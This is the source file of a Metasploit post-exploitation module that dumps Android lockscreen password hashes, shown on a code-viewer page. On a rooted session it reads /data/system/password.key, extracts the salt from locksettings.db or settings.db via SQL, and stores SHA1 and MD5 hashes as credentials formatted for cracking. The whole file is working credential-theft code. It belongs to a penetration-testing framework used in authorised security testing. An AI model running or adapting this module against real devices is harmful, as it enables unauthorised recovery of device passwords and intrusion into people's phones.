Path: blob/master/modules/post/android/gather/hashdump.rb
24756 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sqlite3'6require 'fileutils'78class MetasploitModule < Msf::Post910include Msf::Post::File11include Msf::Post::Android::Priv1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Android Gather Dump Password Hashes for Android Systems',18'Description' => %q{19Post Module to dump the password hashes for Android System. Root is required.20To perform this operation, two things are needed. First, a password.key file21is required as this contains the hash but no salt. Next, a sqlite3 database22is needed (with supporting files) to pull the salt from. Combined, this23creates the hash we need. Samsung based devices change the hash slightly.24},25'License' => MSF_LICENSE,26'Author' => ['h00die', 'timwr'],27'SessionTypes' => [ 'meterpreter', 'shell' ],28'Platform' => 'android',29'References' => [30['URL', 'https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/'],31['URL', 'https://hashcat.net/forum/thread-2202.html'],32['ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING],33],34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [],37'Reliability' => []38}39)40)41end4243def read_store_sql(location)44# we need the .db file, as well as the supporting files .db-shm and .db-wal as they may contain45# the values we are looking for46db_loot_name = ''47file_name = File.basename(location)48['', '-wal', '-shm'].each do |ext|49l = location + ext50next unless file_exist?(l)5152f = file_name + ext53data = read_file(l)5455if data.blank?56print_error("Unable to read #{l}")57next58end5960print_good("Saved #{f} with length #{data.length}")6162if ext == ''63db_loot_name = store_loot('SQLite3 DB', 'application/x-sqlite3', session, data, f, 'Android database')64next65end6667loot_file = store_loot('SQLite3 DB', 'application/binary', session, data, f, 'Android database')6869# in order for sqlite3 to see the -wal and -shm support files, we have to rename them70# we have to do this since the ext is > 371# https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/auxiliary/report.rb#L39172new_name = "#{db_loot_name}#{ext}"73FileUtils.mv(loot_file, new_name)74end7576SQLite3::Database.new(db_loot_name)77end7879def run80unless is_root?81fail_with(Failure::NoAccess, 'This module requires root permissions.')82end8384manu = cmd_exec('getprop ro.product.manufacturer')8586print_status('Attempting to determine unsalted hash.')87key_file = '/data/system/password.key'88unless file_exist?(key_file)89print_error('No password.key file, no password on device.')90return91end9293hash = read_file(key_file)94if hash.empty?95print_error("Unable to read #{key_file}, and retrieve hash.")96return97end98store_loot('Key', 'plain/text', session, hash, 'password.key', 'Android password hash key')99print_good('Saved password.key')100101print_status('Attempting to determine salt')102os = cmd_exec('getprop ro.build.version.release')103vprint_status("OS Version: #{os}")104105locksettings_db = '/data/system/locksettings.db'106locksettings_sql = "select value from locksettings where name='lockscreen.password_salt';"107unless file_exist? locksettings_db108vprint_status("Could not find #{locksettings_db}, using settings.db")109locksettings_db = '/data/data/com.android.providers.settings/databases/settings.db'110locksettings_sql = "select value from secure where name='lockscreen.password_salt';"111end112113begin114vprint_status("Attempting to load lockscreen db: #{locksettings_db}")115db = read_store_sql(locksettings_db)116if db.nil?117print_error('Unable to load settings.db file.')118return119end120salt = db.execute(locksettings_sql)121rescue SQLite3::SQLException122print_error("Failed to pull salt from database. Command output: #{salt}")123return124end125126salt = salt[0][0] # pull string from results Command output: [["5381737017539487883"]] may also be negative.127128# convert from number string to hex and lowercase129salt = salt.to_i130salt += 2**64 if salt < 0 # deal with negatives131salt = salt.to_s(16)132print_good("Password Salt: #{salt}")133134sha1 = hash[0...40]135sha1 = "#{sha1}:#{salt}"136print_good("SHA1: #{sha1}")137credential_data = {138# no way to tell them apart w/o knowing one is samsung or not.139jtr_format: manu =~ /samsung/i ? 'android-samsung-sha1' : 'android-sha1',140origin_type: :session,141post_reference_name: refname,142private_type: :nonreplayable_hash,143private_data: sha1,144session_id: session_db_id,145username: '',146workspace_id: myworkspace_id147}148create_credential(credential_data)149150if hash.length > 40 # devices other than Samsungs have sha1+md5 combined into a single string151md5 = hash[40...72]152md5 = "#{md5}:#{salt}"153print_good("MD5: #{md5}")154credential_data = {155jtr_format: Metasploit::Framework::Hashes.identify_hash(md5),156origin_type: :session,157post_reference_name: refname,158private_type: :nonreplayable_hash,159private_data: md5,160session_id: session_db_id,161username: '',162workspace_id: myworkspace_id163}164create_credential(credential_data)165end166end167end168169170